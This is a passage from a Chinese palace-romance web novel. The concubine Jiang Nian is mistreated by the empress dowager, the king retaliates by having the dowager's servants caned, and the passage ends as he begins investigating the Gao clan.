“阿星姐如今在……在浣洗院做活。”珠珠声音渐低,昨日阿星姐找到她,让她替她在梁妃殿下面前提一提,不用另说好话,只说她在浣洗院做活。
江念回王庭一直没闲下来,被珠珠一提,才记起阿星,她不是在大膳房里做活么,怎么去了浣洗院?那可不是一个好去处。
转念一想,便明了,初时,她怕呼延吉迁怒于阿星,便借口说自己不愿留下阿星,可后来她却留下了珠珠,呼延吉那么样一个人,哪能想不到这里面的关窍。
说到底,还是她连累了阿星。
“知道了。”江念只说出这三个字。
珠珠便不再说了,念念阿姐是心肠顶好的一人儿,她说知道了,那么一定不会不管阿星。
正在此时,有脚步声行来,江念一下子挺起身,应是呼延吉从前殿忙完政务回了。
江念赶忙起身迎出,见了他,就要行礼。
呼延吉担住她,并不说话,执起她的手往内间走去,挥手让殿内的宫人退下,待房中只剩下他二人时,他便微笑着在她脸上抚了抚。
呼延吉见她面色有些不好,便问:“是昨夜没歇好?”
这是一方面,另一方面是在祥云殿立了一上午,不过江念并不打算让他知晓此事,他那脾气若是知道了,必然不好收场。
“妾身没那个富贵命,有些择床,从前在隔间睡惯了,搬到大王那宽榻上,就有些难安睡。”
呼延吉拉她坐下,笑道:“这也好办,我同你一道睡在隔间的小榻上,可好?”
江念吃吃笑起来。
呼延吉又问:“今日去祥云殿,那边可有为难你?”
“谁敢难为我,大王也太瞧不起人。”
江念不愿在这件事上多谈,给呼延吉倒了一杯茶,岔开话头,说道:“阿星怎么去了浣洗院了?”
呼延吉想了想阿星是谁,喝了一口茶,说道:“都在王庭做事,在哪里做不是一样?”
江念抿了抿唇,继续
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道:“那也太辛苦了。”
呼延吉并不回应。
江念见他那样,佯嗔道:“大王是还在气我罢?”
“又乱言,几时怪过你。”
“既然不生我的气,也饶了她罢,让她重回大膳房。”
呼延吉放在手里的茶杯,看向江念,笑了笑,笑得有些怪。
“笑什么?”江念疑惑。
呼延吉在她的眼角揾了揾,轻声道:“阿姐太不了解人性,你以为她是想调回大膳房才让人传话于你?”
“大王如何得知她让人传话?”当时寝殿内只有她和秋月还有珠珠三人,呼延吉如何知道的这么清楚。
“她在浣洗院做活,早去晚归,连到你跟前说话的资格都没有,碰上一面也难,你却得知她在浣洗院,不是托人带的话又是什么,我还知道必是那个小丫头带的话给你。”
江念两眼睁睁地看着呼延吉,只是一个瞬息,他便把什么都想得透透的,还有什么是**的。
“那你到底要不要把人调回膳房?”
呼延吉点点头:“调,怎么不调,你开口了我肯定依你。”
到了晚间,二人沐过身,呼延吉问她:“是睡小隔间还是王榻?”
江念先是一怔,然后伏到他身上咯咯笑起来,随后他将她抱上床榻,挥下帐幔。
呼延吉知道她昨夜遭罪,不忍再折腾她,只是把人拥着,让她好睡。
次日,呼延吉照往常一样,天未亮便起身,江念起身为他更衣,待人走后,又回榻上睡了一会儿,天稍亮重新梳洗一番,去了祥云殿。
同昨日一样,先在殿中立了好一会儿,以为高太后仍不打算见她,做好了僵立一上午的准备,正思忖间,帘幕打起,高氏在宫婢们的搀扶下雍容步出。
“倒是难为你候了这么久,晨起诵经竟忘了时辰。”高太后话是这么说,却丝毫没有给江念赐座的意思。
“晨昏定省原是本分,太后在佛前为苍生祈福,妾候上整日也是应当的。”江念恭声道。
高氏“嗯”了一声,这时,朵妲儿从后走来,先是看了一眼殿下的江念,然后走到高氏身边问安施礼,再向旁边的宫婢笑道:“昨儿礼吏司着人送来的青核果儿呢?我剥给太后尝尝。”
宫婢听了,立马端来一个盘子,里面垒着一个个如荔枝一般大小的青褐色果子。
这是夷越特有的青核果,核心为青色,是以命为青核果,其仁酥脆,入口又有一股淡奶香。
世间好吃的果儿大多有一通病,内里美味,外壳却不易剥,像是姿容上乘的女子,并非唾手可得,需得下一番功夫。
这青核果便是如此,外皮说硬不硬,可绝称不上软,用甲壳能掐出浅浅的印子,只是浅浅而已,因为再深就掐不动了。
朵妲儿见宫婢端来青核果,正待让人再拿小金钳来,专用来开核的器具。
这个时候,高氏却开口道:“你这丫头笨手笨脚的,剥得好这青果核?”说着,瞥了一眼殿中央的江念,那意思再明显不过……
第118章 窝进他怀里
江念会意,上前两步,说道:“若是太后不嫌弃,妾愿替太后剥青核果儿。”
“既然你有这份孝心,上前来罢。”高氏说道。
江念上前几步,提裙上了三层台阶,侧身到高氏身边,看了一眼那青果核,问道:“可有开壳器具?”
话音刚落,高氏冷笑一声:“罢了,还是让妲儿那粗笨丫头来罢,免得伤了梁妃的指。”
江念忙笑道:“哪就那样娇气了,几个果儿而已,妾这就剥了给太后尝一尝鲜味。”
一边的宫婢上前,替江念净过手,再以巾帕拭净手上的水渍。
江念从盘中拿起一颗青核果,开始用指一点点掐剥,外层的壳很不容易破开,待破开后,还要一点点撕里面的薄皮。
终于剥完一个,核桃大小的外壳,剥出来的仁并不多,江念将其放入玉碟中,宫婢再将玉碟呈到太后面前,高氏拣起放入口中,“嗯”了一声,还算满意。
江念手上不断,已开始剔剥第二个,有了初次经验,后面剥起来就容易一些,可也耐不住一直剔剥。
一双玉纤葱枝手,指尖处已然殷红,跟染了胭脂一般。
高氏双目斜睨,只当看不见。
殿外的阳光渐渐燥热起来,树上蝉声鸣唱,一阵接一阵变得热闹,几声“隆,隆——”沉沉的轰声远远传来,一下又一下击打在人的心上。
是钟鼓楼传来的声音,散早朝了。
“罢了,吃几个解解馋,也够了,你去罢。”高氏说道,她还是有些忌惮小儿子。
宫婢端来清水,江念净过手,退到阶下:“不扰太后清休,妾身告退。”
待江念走后,高氏眉目间隐有担忧,问向一边的朵妲儿:“你说她回去了,会不会诉于我儿?”
朵妲儿宽慰道:“梁妃为媳,您为母,这也是孝敬,能说什么?就是说出来,只会让大王觉着矫情,昨儿她不也来过一趟么?太后不必忧心,到底您才是大王心里的头一位。”
高太后点了点头,是了,若她敢在小儿子面前诉苦,昨日就说了,不会挨到今日,而且儿子也不会真为了一个外族女子,同自己这个母亲过不去。
要么就是她没说,要么就是她说了,小儿子没当回事,无外乎就这两种可能,高太后如此一想,心也就落回肚子里了。
……
江念回了西殿,依旧让秋月替她揉捏腰部,今日不仅僵站好久,手上也没闲着。
“珠珠,在柜子中间一层拿那瓶青色的瓷瓶来。”秋月一面给江念揉腰一面对珠珠说道。
珠珠赶忙跑去将瓷瓶拿了过来,打开瓶塞,给江念涂抹手指。
往常呼延吉散朝后并不会立即回西殿,还要在议政殿同臣下商讨政事,这日也不例外。
待他回殿已是下午,转了一圈不见江念,遂问向木雅:“梁妃呢?”
“回大王的话,秋月同珠珠二人陪同出去的,应是在孔雀苑。”木雅回禀道。
呼延吉点了点头,在外殿坐了一会儿,然后又站起,再坐下,还没坐上一盏茶的工夫,再次起身,径直出了西殿,往孔雀苑行去,才走到孔雀苑的灰白拱门处,就见江念慢慢往外行来,此时天色已有些暗了。
江念看见呼延吉也是一怔,她半个下午都在外面,就怕呼延吉回了西殿,见着她指头红肿,所以干脆避出去,待天暗些,再回西殿,然后借口身上不好,早入帐中,他便注意不到了。
江念走上前,缓缓行礼:“大王准备去孔雀苑?”
呼延吉清了清嗓子,状作随意:“准备去苑里走走,这会儿天也暗了,不去了。”
两人并肩往回走。
回到西殿,江念便去了沐室,若是以往,她都要在池子里泡一泡,这会儿却是十分快速地洗净身子,穿戴好,走回寝屋。
烛光中,呼延吉望了望她的脸,问道:“是不是哪里不舒服?”
江念身子一怔,已是过了一下午,她自问早已调整好神情,不知他为何作此一问。
“兴许月信快来了,身上有些难受。”她的月信确实快来了,每个月的那几日精神总是恹恹的。
呼延吉点了点头:“要不要吃些什么?我让膳房做了来?”
“不了,这会儿只想躺下。”江念说道。
呼延吉见她进了帐幔,便不再多问,转身去了沐室,沐身毕,回到寝屋,也上了床榻。
身边的床榻沉了沉,江念感知到他躺下,便转过身窝进他的怀里,觉着很是温暖,昨夜没睡好,困极了,没多久就沉沉睡去,呼吸变得绵长。
待她睡熟后,呼延吉慢慢从床上坐起,放轻手脚下了床榻,捞过一件外衫,随意系上,出了寝屋。
木雅就守在殿外,见呼延吉出来,躬身迎了上去。
“叫秋月来。”呼延吉说道。
木雅应诺去了,不一会儿引了秋月来。
秋月本是睡下了,木雅前来说大王传唤她,不由得心里发慌,这么晚了,大王唤她肯定有事,脑子嗡嗡的,夹着步子随木雅行到君王面前。
“你主子今日碰到什么事没有?”呼延吉问道。
秋月不敢答话,今日在祥云殿发生的事情,梁妃不让她说,可大王又特意传她问话,一时间进退维谷。
“你只管说来。”
上首的声音明显已是不耐。
秋月弱声道:“晨间的时候,梁妃去了祥云殿……”
“然后呢?”呼延吉问道。
“圣太后让梁妃殿下剔剥青核果,空着手剥……”
秋月说罢,听不见上首的回音,忐忑不安地咽了咽喉,干脆把昨日圣太后晾着江念,让她独自在殿中立了一上午的事也一并说了。
不论发生何事,她总是向着江念的。
说完,上首仍是没有任何回应,此时夜已深,能听到窗隙呜呜的风声。
终于,男人开口了:“你过来。”
秋月膝行到呼延吉身前,从前她就有些惧这位小阿郎,如今更甚。
呼延吉微微倾下身,说道:“你明日这样……”
秋月听着,连连点头。
呼延吉摆摆手,让人下去,自己转身回了寝屋,掀开床幔,看了眼榻上熟睡的人儿,眼睛又落到她微微蜷起的指上,那指尖因抹了膏子,泛着油亮,油亮的指尖是红红的。
呼延吉轻着手脚,躺到她的身侧,女人睡得很沉,没有醒来。
他将她搁在枕上的手轻轻一握,在她的掌心恋恋地抚了抚,然后亲了亲她红红的指尖。
次日,江念醒来,呼延吉已去了前殿早朝,这一觉她睡得太沉,连他起身也未感知
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,睁眼已是天亮。
秋月带着宫婢们入内,伺候江念梳洗。
“快些,还要去祥云殿,已是有些迟了。”江念催促道,不知是不是她的错觉,秋月今日手脚格外慢,不像往常那般利索。
“是。”秋月嘴上这么说,可手上的动作仍是慢条斯理。
江念心里焦急,在祥云殿内她事事小心,处处谨慎,生怕行错一步,若是去晚了,那边不知要怎么样,正要再催促,秋月却“咦”了一声。
“怎么了?”江念问道。
“那套珍珠玲珑八宝发箍怎么找不着了?”
江念眉间微微蹙起,问道:“是大王送我的那套?”
珍珠八宝发箍,分子母,一大一小,十分稀贵,是呼延吉送她的,她很是珍视,不常佩戴,收放在妆奁中,怎么会不见。
秋月道:“昨儿我还拿出来擦拭,不知是不是婢子放错了地方。”
“那你快好好想一想,放到哪里了?”江念倒不疑西殿中人手脚不干净,在王殿当值的人都严格筛选过,这方面一定没问题,且他们也没那个胆子。
秋月便在殿中开始翻箱倒柜地搜寻。
她得了大王的吩咐,让她今日早上借口拖延梁妃去祥云殿的时间,并非不让她去,而是让她晚些去,能晚一点是一点。
她只能尽量延挨时间。
江念满心满眼只有呼延吉送她的那八宝发箍,生怕弄丢了。
好在秋月寻了半晌终是找到了:“看我这记性,定是昨日达娃叫我,我随手把它放到这处角落,待回过身就忘记了。”
江念点点头,接过木匣,看了眼匣子内珠光莹莹的子母发箍,笑道:“找到就好。”
说罢,将木匣关上,亲自收了起来。
此时天已大亮,又耽误了一会儿,江念带人乘辇去了祥云殿。
进了殿中,同头一次那样,站了好一会儿,终于,高氏在朵妲儿的搀扶下缓缓走出来,还有朵氏也一同伴在身侧。
江念上前躬身行礼。
高氏却不作理会,只顾同身边的朵妲儿和朵氏闲话。
“这两日我略略看了看梁国的那本书,叫什么来着?”高氏问向朵妲儿。
朵妲儿微笑道:“回圣太后的话,叫《内训》”
“是了,就是这本叫《内训》的册子,很有大道理,做儿媳的不仅需晨间来问安,夜间还需服侍婆母歇下,自己方能归宿歇息,上面还写着,做媳妇的要手勤不辍,才是根本。”
江念半屈着膝,有些架不住,可高氏没让她起身,不仅没免她的礼,嘴里还喋喋说着《内训》,从前在江府时,那《内训》连她母亲都不看,也不让她看,这会儿却被另一妇人耳提面命,很是荒诞。
江念实在听不下去,渐渐直起身子,她的膝盖受不住这般磋磨。
原以为人家说话,没注意到她这里,合着眼角一直看着,她才一起身,就听高氏在上首说道:“准你起身了?这就是你们梁人的规矩?跪下!”
江念听罢,垂下头,弯下双膝,安安静静地跪了下来。
高氏见她恭敬如斯,心里倒很满意。
朵氏两姐妹在高氏跟前凑趣,上首欢欢笑笑,殿中却孤伶伶跪着一道倩薄的人影。
这便是呼延吉进入殿内看到的情景……
第119章 你身上怎么这样好闻?
呼延吉特意下了一个早朝,平时散朝后还会同臣下在议政殿坐一会儿。
今日提前散朝,一出大殿径直来了祥云殿,也不让人通传,就阔步走了进来。
他就见那道纤薄的身影,腰板挺直地跪在殿中,碎光斜在她的头身上,落在她周围的地面,空气里还有蓝色的灰尘打着旋。
她在笑声里显得那样安静。
呼延吉的心狠狠地抽了一下,在他的印象中,江念不是这样,她变了,那并非一种值得让他高兴的改变。
他将她捧在手心,江家人将她捧在手心,这种躬身下的顺服,不是她,那不是她该有的姿态。
因为他,一切都是为了他……
江念将笑声隔开,沉在自己的思想里,连上首的笑声几时停的也不知,当她感知到时,手臂上多了一个力道,将她从地上拉起。
她回望过去,不是别人,正是呼延吉,此时殿中人除了高氏,俱伏地跪下。
他环护着她走到一侧的座椅边,轻声道:“阿姐,坐下。”
江念不知他怎么这个时候来了,预感接下来有事要发生。
待江念落座后,呼延吉走到高太后右手边的上座,撩衣坐下。
高氏到底有些心虚,不知他是何意,开口道:“梁妃过来请安,现下大王来了,把人带回罢。”
呼延吉缓缓点了点头,并不看高氏,开口道:“本王坐了这一会儿,连个上茶的人都没有,母后殿里的人好大的架子!”
伏跪的众人心底大叫冤枉,大王您不叫起身,咱们这些人哪个敢动?既然不能动,又如何给您上茶水?
众人心中叫苦,却听上首君王一声吩咐:“来人!”
立时从殿外进来十几名银甲亲卫,一进来,整个殿里的空气都往下沉。
“每人二十大棍,拉下去,打罢。”呼延吉将身子往后仰靠,闲闲说道:“儿子今日有时间,就在这里替母后教教奴才们规矩,儿子也知母亲最是讲规矩的一人,刚才隐约听到《内训》二字,虽未拜读过,不过从那字面便知,内训!内训!就是从内部开始教训。”
高氏听后,两眼直瞪瞪,差点喷出一口老血,这小混账说的什么歪理?!
呼延吉不睬她,淡漠道:“开始罢。”
亲卫将殿中的奴才一个一个往外拖,只听得殿外棍子落在肉上的“啪,啪——”声,又清脆又响亮,却听不见人声,只因亲卫怕扰到君王,便将宫人的嘴塞住,不让其发出声音。
高氏气得脸色发青发灰,两腮松弛的肉打着颤儿,这哪是在打那些奴才们,这是在打她的脸呐!
外面的每一声,都结结实实地落在她的脸颊上,火辣辣地烧疼。
朵妲儿同朵氏仍伏跪在地。
斜光中,朵妲儿发现地上零星的影闪闪晃动,不知是什么东西,遂抬眼看去,惊了一下,那晃动的东西是长姐头上的坠苏,坠苏晃动是因为人在发颤。
她那位一向高高在上的长姐居然止不住地颤抖。
朵妲儿心惊,怎的怕成这样?
江念展眼看去,整个殿中,只有三人坐着,那三人便是上首的高太后、呼延吉,还有下首的她。
再就是不时进出的亲卫,把跪伏在地面的祥云殿宫人架出去。
她望向呼延吉,想要起身说两句,毕竟宫人们无辜,却见呼延吉暗中朝她压了压手,只好静静地端坐在那里。
她明白,他这是故意惩戒祥云殿的宫人压高太后的气焰,如此大动干戈,也是为了让王庭所有人知晓,让所有人看清,她的背后有他,她不是可以被随意对待的,他在给她做脸。
“逆子!逆子!”高太后拍着椅扶,气骂道。
“母亲莫要动怒,为我这么个逆子气坏了身子不值当。”呼延吉的语气很是随意。
殿外的刑杖声还在继续,殿里的宫奴已被拉出去七七八八,此时从外进来两名亲卫,走到高氏身侧立住脚,没有丝毫迟疑地将高氏身侧伏跪的一人拉起。
正是高氏跟前的女官,金掌事。
一向严肃寡面的金掌事这会儿面色也变了,意识到这次君王是真的恼了。
从前大王来祥云殿,哪怕圣太后不待见王,王并不在意,态度依旧恭敬,如今却为了梁妃公然威压太后。
她一把老骨头真要挨上几板子,板子还未打完,估计就得断气,正想着,架在她两侧的亲卫突然松开手,就听大王说道:“今日就免了金掌事的责罚,你是太后跟前的老人,平日该多劝着她一些才是。”
金掌事吁出一口气,连连称是。
呼延吉看了眼地上的朵家两姐妹,再从她二人身上移开,起身,走到高氏面前:“人也教训完了,儿子告退,母亲千万保重身子。”
高氏不语,扬手往呼延吉脸上扇去,她对这个小儿子半分都近亲不起来。
她也坚信小儿子对她没有多少亲情,两人维持着表面的平和,不过是身份使然,当然了,这个身份无关乎母子情。
高氏恨透了梁国,她将大儿子的死归罪于梁,归罪于梁人。
所以她对自小在梁国长大的呼延吉,便看哪儿都不顺眼,看哪儿都是错,这种偏执全无道理,高氏却不管那么多,她认为呼延吉能回来,是呼延成用命换的。
不然为什么他明明有两个孩子,现在只有一个了,因为一命换一命。
妇人的手高高扬起,也不管身旁有无有人,一记重重的耳刮就要落在呼延吉的脸上,预料中的巴掌声没有响起,挥动的手被另一只手截住。
余下的众人听见异动,不免抬头看个究竟,截住太后之人正是一直未曾出声的梁妃!
众人无不震诧当场,尤其是朵氏两姐妹和金掌事,她们就在高氏身侧,纵然跪着,眼角的余光也能让她们获悉正在发生的事情。
江念躬下身,轻声道:“大王对太后一片孝心,然,即便太后是母亲,也不能
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逾越君臣之礼,我大梁不止有规范女子行止的《内训》,还有一书《礼记》,其上有言‘子虽尊,母不得以尊临卑’,大王若有不是,太后可劝谏,不可动手辱之。”
江念说完,殿中安静得可怕,只有殿外“啪,啪——”的杖责声,没一会儿,那杖责声也没了。
她清楚,这一举动势必会让本就不喜她的高太后对她更加厌恶。
呼延吉代表最高皇权,数番为这个国家出生入死,才得以定乾坤,方坐稳王庭,高太后公然对呼延吉羞辱,折损其威信,岂止伤及天颜。
五上姓觊觎在侧,若君王威仪有失,怎能御下?!
江念想不通,太后既是呼延吉之生母,为何要如此行事?她也并不知,自她上前,呼延吉的眼睛就落在她的身上,没移开过。
呼延吉当然不会受下这一记耳刮,他料到他母亲的举动,却没料到江念的举动,更不会想到她接下来说的那番话。
适才,他见她跪在殿中,挺直的腰还有微垂下的头,在光尘中寂然的背影,他说她变了,为了他,她变得乖顺,变得忍耐,可有一点,自始至终未曾变过,她仍是那个为了他可以奋不顾身,挺身而出的江家女郎。
高氏面皮涨红,嘴里连连说着“好,好,好”,显然气极,沉了两息,字从牙间蹦出:“我打不得他,还打不得你?!”
说着就要扬手,却被一个声音揿住。
“母后!”只这两个字,再没有别的了。
高氏从小儿子嘴里听出了一丝隐隐的威胁,这威胁她当然是不惧的,就算他为君,却不敢对她这个母亲怎样,这也是她的倚仗,小儿子不敢对她不敬。
然而,高氏千算万算还是算漏了一点,当着呼延吉的面对江念动手,已然触碰到呼延吉的底线,而呼延吉的那一声“母后”,她当时并未知晓其中的意思,待明了时已经晚了。
呼延吉带江念离开后,殿中众人仍不敢起身。
高太后怔愣着,小儿子离开前的那一眼蓦地让她心漏跳一拍,浑身窜起寒意,最后只能自我譬解,是她想多了。
……
呼延吉同江念回西殿,路上两人各自坐着乘辇,没有言语,待进了西殿,呼延吉挥手让人退下,殿中只他二人。
呼延吉走到露台处,坐到泉水边的玉矶上,招手让江念上前,江念便走到他的跟前,侧身坐下。
“手指还疼不疼。”
她将手摊出来给他看。
他拿起她的手,好一番端相,原本好看的指甲短了一截,应是当时剔青核果时劈折,后来回到西殿让宫婢给她重新修剪过。
指头还好,红肿褪去了些。
“怎么今日下朝这么早?”江念问道,其实她是想问,他怎么察觉出异常的,不然不会那么凑巧,俨然专为她去的。
呼延吉没有立即回答,而是往她身侧靠了靠,问道:“你身上擦的什么香,怎么这样好闻……”
第120章 叫一声夫君我听听
江念见呼延吉问她身上的香,有些得意:“我自己调制的,只有我是这个香味,再无他人,大王喜欢么?”
呼延吉埋首在她肩间“唔”了一声:“以后就这个香罢。”
江念推了推他:“问你正经事,你又扯旁的。”
男人这才抬起头,说道:“自小就在一处,怎会连你开心不开心都看不出来。”
正如呼延吉所说,他了解她,同样的,她也了解他。
呼延吉实是很渴望高太后的亲近,那是他日思夜想的母亲,在梁国时,他会在她面前提及自己的母亲,说自己母亲年轻时是夷越第一美人儿。
他说那话时眼里有光。
有时候,呼延吉看见她的母亲对江轲的关爱,那面上的神情也会不一样,眼里有些曲折,有渴望,像是透过她的母亲在看他的母亲。
今日为了她同高太后撕破脸,如此一来母子二人连明面上的平和都没有了。
“要不明日我请安时,同太后赔个不是,再捡些好听的说与她听,她信佛的人,总不会是石头心肠。”江念说道。
“不必,以后那边的晨昏定省免了。”
“那怎么行。”
其实她也不想去,然而却不妥当,她不去给高太后请安,先不说别人怎样看待,祥云殿那边就不会同意,今日有呼延吉在身边,可他总不能一直守着她,他也有自己的事务。
呼延吉不在跟前,高太后想要拿捏她简直不要太容易。
呼延吉心疼她,她却不能让他难做,既然自己选择了这条路,选择了同他站在一起,就算跪着也得走完。
呼延吉笑道:“你心中忧惧我知晓,安心,我心中自有计较。”
“什么计较?”
男人只笑一笑,并不言明,接着说道:“这些天你对外称病,待过了这段时日就好了。”
江念还待再问,却被呼延吉打横抱起,往寝屋走去。
如烟似雾的轻纱帐落下,之前江念还信誓旦旦说,再不让呼延吉碰她,再不受这劳什子罪,往来间,一点也不像书上说得爽利。
可真当他的指抚过她的身体,心底却是渴望他的碰触,仍是有些疼,却比头一次好太多,慢慢的也从中得了些趣儿。
呼延吉看着身下的人儿,女人星欠着眼,双腮带赤,他低眼睨着她的情态,伸手将她轻咬的下唇捻弄开。
“当心咬破了……”行事中,呼延吉气息有些不匀。
江念哼唧两声,强忍着不发出声音,认为发出声音怪丑的,她越是这样,呼延吉就越想逗弄她,于是俯下身子,湿**贴着她,凑到她的耳边,蛊惑道:“阿姐,你怎么不说话?我想听听你的声音。”
“说……什么……”江念声娇气软,哪里知道呼延吉的坏心眼,殊不知她一开口就趁了他的意,就想听听她那语不成调的别样趣味。
“说什么都行,就想听听你的声音……”男人的语调带了些力道,转而撑起身,依旧往下睨着,笑了笑:“叫一声夫君。”
江念又羞又别扭,哪里叫得出口,虽说呼延吉是她的夫君,可让她叫“夫君”两个字,她是万万说不出口,她怎能叫从前的小小子夫君呢。
最后的最后,呼延吉也没让江念开口叫他一声“夫君”,到后来,这么一个再自然不过的小要求,成了呼延吉的执念。
事毕,江念吃了一粒避子丸,绵软地睡了过去,呼延吉在她后背印下一朵红痕,然后披衣下榻,随意系上衣带坐到矮几边,喝了两口冷茶。
呆坐了一会儿,不知在想什么。
“进来人。”呼延吉声音不大,却足以让时刻应候的宫婢们听见。
不一会儿脚步声靠近,达娃等几个大宫婢进到寝屋内,不用另外再吩咐,开始给呼延吉更衣理装。
在给呼延吉更衣的时候,达娃偷觑了一眼轻纱帐,隐约透出王榻上躺着的人,心下又是一叹,不过叹归叹,却再不敢生出别的想法。
宫婢们手脚很轻,除了衣衫发现的窸窣声,再无其他,随后就安静了下来,静得只有风吹着桌案上书册,一页翻过一页的脆响。
江念这一觉睡得很沉,醒来时,已是下午,不见呼延吉,想他应是去了前廷。
她因这一觉睡得酣甜,连午饭也未食,腹中忽觉饥馁,便吩咐下去,让膳房上些饭食。
宫婢们给江念换下寝衣,拿出一套素色轻便常服给她换上,又替她梳发,额边不留碎发,一齐梳到脑后,编织成一股麻花,盘了一个单髻,再在浓密的乌髻上簪翠珠,简简单单难掩清丽,越发衬得姿容丰秀。
梳妆毕,江念在宫婢的环簇下去了前厅。
饭食正一道接一道从外传入正殿的宫婢手中,再由宫婢往桌上摆放。
江念刚入座,就听到外面窃窃低语,像是刻意压低了声音,一方语气急切,另一方言带恳求,声音很低,说到后来语气渐急,像在争执着什么。
“谁在外面?”江念问道。
秋月一面替江念布菜,一面给达娃睇了一个眼色,达娃点了点头,出了外面。
江念把珠珠叫到身边,让她一同坐下,随自己吃些。
她把这孩子看得很亲,当自己的小妹一样,从来不对她有什么要求,单纯养在身边。
西殿众人也都知道,所以并不分派事情给她做,瘦老鼠一般的小丫头,结果成了王殿里最无忧的那个,真真叫人羡慕。
平时,只要大王不在殿中,梁妃便会叫她一同上桌用饭。
珠珠坐下后,江念将秋月给她布的一碟子菜馔搁到她面前,叫她吃,这孩子以前饿怕了,对吃食有些无端的贪馋。
正说着,达娃走到江念面前,回禀:“是大膳房那个叫阿星的丫头,正在殿外求着,想进来见一见您,守殿的宫人们拦着不让她进。”
达娃说罢,看了一眼秋月,撇了撇嘴,嘴角带了一抹轻屑,秋月见了并不言语,阿星当初去徽城时,她见过一面,主子还让她引着阿星在徽城转一转。
没两天人就走了,那个时候她还不明,后来珠珠来了,到主子跟前伺候,再然后,她随主子进了王庭,也就明了了,那个时候阿星定是自持宫婢的身份,不屑留在主子跟前伺候。
这几日阿星总会有意无意地打正殿经过,然后找各种理由想要进殿,皆被守殿的宫人拦下,她同达娃、帕依等人是知晓此事的,不太愿搭理,想不到她竟然不死心地趁主子用膳时径直找来。
江念听说,心下奇怪,阿星?不是已经将她从浣洗院调回大膳房了?难不成又碰上难处了?心里这样想着,吩咐道:“让她进来。”
阿星被带到徽城,大王让她近身伺候江念,她有些不情愿,认为江念同她一样,做好姐妹可以但不能当主子,甚至迸出一个念头,若江念能当主子,她岂不是也可以?
当然,她自知这个想法荒诞,所以也只是一闪而过,有时候人的潜意识就像一条嗅觉灵敏的犬,只要它来过一次,日后总能嗅着味找回来。
后来,她如愿
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地回了王庭,却被贬去了浣洗院。
再后来,她得知江念随王回了王庭,并且被册封为梁妃,成了王庭的主人。
然而此时的江念不是她想见就能见的,于是辗转找到珠珠,就连见珠珠,她还费了些工夫。
她让珠珠在江念面前诉一诉她的况景,江念得知后一定不会不管她,预料之内,她调离了浣洗院,预料之外,她调回了大膳房。
有一丝欣喜,可更多的是失悔,浓浓的失悔把那一丝欣喜也盖没了。
江念见阿星被两个殿内宫婢引来,在她不远处立住。
“婢子叩见梁妃。”阿星说着行下礼。
江念将她叫到跟前,问道:“何事找来?”
话音才落,阿星“扑通”一声跪到江念脚边,哽咽道:“求梁妃殿下怜悯,将婢子调到您身边伺候。”
秋月同达娃互看一眼,倒是个不客气的主,一点软话不说,直接开口讨要。
江念看了眼阿星,想了想,问道:“你要跟在我身边伺候,不愿在膳房当值?”
阿星伸出一双手,在江念面前颤颤摊开,只见那双手的指节全已溃烂,有几处已经开始结疤,有些地方仍发红发肿。
“婢子在浣洗院当值时,手上的伤就没好过,后来调回膳房,因手上有伤,阿姆们便让我做下力的粗活,是以,手上的伤一直不见好,再这么下去,这双手不残也废,婢子没了办法,只好没脸地来求殿下,望殿下看在往日之情上,让婢子到您身边伺候。”
江念初进王庭,做得洒扫丫头,头一日当值就错过了饭食,是阿星偷偷给她留了食盒,虽然最后被丽奴打翻了,后来也是阿星同阿月下值后,找到后湖,帮她清扫庭院。
那个时候,她们三人还有红珠每日最开心的事就是夜深人静之时,四人围窝在通铺上,吃着阿星从大膳房偷带出来的小食,一面吃,一面说着谁谁的坏话。
江念曾说过,她到异国感受到的第一抹暖意是她们给的,让她在一个陌生的环境没那么恓惶。
大姐似的红珠没了,温柔的阿月也走了,现在只有阿星,想一想,心头一片惨然。
江念起身,走到阿星面前将她扶起,满眼心疼地看着那双红肿溃烂的手,心里却想起红珠,那个时候红珠就是因为划伤了手臂,当作小伤不去在意,伤口感染丢了性命。
不能再让阿星重走旧路。
“你先回房养几日,我叫宫医来给你瞧治手伤,等伤好后就到我跟前来,膳房那边不用去了。”江念说道。
阿星心里欢喜,又要跪谢,江念免去她的礼,让她先退下。
既然江念发话了,木雅便将这话传给了西殿管事兰卓,兰卓当下就将阿星调出了膳房,又专为她请了宫医看治手伤。
……
彼边,呼延吉坐在议政殿的御案后,手指漫不经心地敲着桌案。
不一会儿,丹增引着两名宫侍走了进来,其中一个宫侍手里端着一方木托,托上摆放着几叠册子。
“放下。”丹增说道。
宫侍恭敬地将木托上的册子端正摆放于御案上,然后躬身退到殿外。
呼延吉拿过其中一本册子翻看几眼,问道:“都在这里了?”
“回大王的话,这是奴才理出来的,近五年的都在这里了。”丹增说着,上前沏了一盏香茶。
这几本册子上的内容,俱是笔吏将近年朝臣上奏的折子归类誊录。
大王突然叫他调取近五年的书册,且只调高家的……
第121章 大爷我是高家人
高家为五上姓之一,亦是太后的母族,但高家的嫡系大宗并不在京都,而在弥城。
丹增不知大王让他查找高家卷宗的因由,却明白一个道理,被上位者关注并非一件好事,通俗来说,就是不要变成靶子。
他看向上首年轻的君王,只见他从中拣起一本,快速翻过,看到一处,在那页停留了好一会儿,满意地笑了。
他这一笑,丹增便知,高家要倒霉了。
……
弥城南市有一处私**院。
这院子叫兰院,兰院在弥城尽人皆知,当然了,它并非什么不正经场所,相反,这兰院是个十分清雅的家院。
说家院不算准确,应是类似于接待达官显贵的私人酒家。
若是走进院里,可观得院中分出好几个小院落,每个院落都以一种草植命名,不仅如此,且每个院落的风格映衬着院落的名字。
譬如,其中一方名为竹轩的院落,里面种满翠竹,日光穿落叶隙,连那逶迤小径都泛着翡翠色,风来,竹叶簌簌惊起,满地碎金。
竹轩旁边的一方院落,名枫居,一院的火红,霞光中最美,如贪酒后的醉美人,贵客们置身此院中,便不愿走出。
再有荷风榭,藤萝苑等等,不一列举,各现韵致。
兰院中这些风韵迥别的小院专门用来招待弥城中的权贵名流,并非有钱就能进入,还需有一定的身份地位,让家中下人提前订下,方能定得一间院落。
在弥城人看来,能进入兰院就是身份的象征。
此处环境清雅别韵不说,里面随便一道菜价可抵中层之家一个月的花销,绝非普通人家可消费得起。
而兰院的老板是一貌美妇人,三十来岁,名七姑。一个美妇人无论如何撑不起这么大的场子,不仅仅需要八面玲珑,还要市侩官僚皆通。
是以,众人皆知,七姑只是兰院明面的老板,真正的老板另有其人,但这在弥城权贵圈中并不是什么秘密,兰院背后的老板是高家正房嫡长子,高逊,人称逊郎。
高家在弥城手眼通天,无人敢惹,就连官府碰见高家人也得客气礼让。
不仅仅因为高家为五上姓,还有另一层原因,就是圣太后出自高家,论起来,他们大王还同高家沾着表亲。
换言之,高家就是弥城的土皇帝,谁人敢惹。
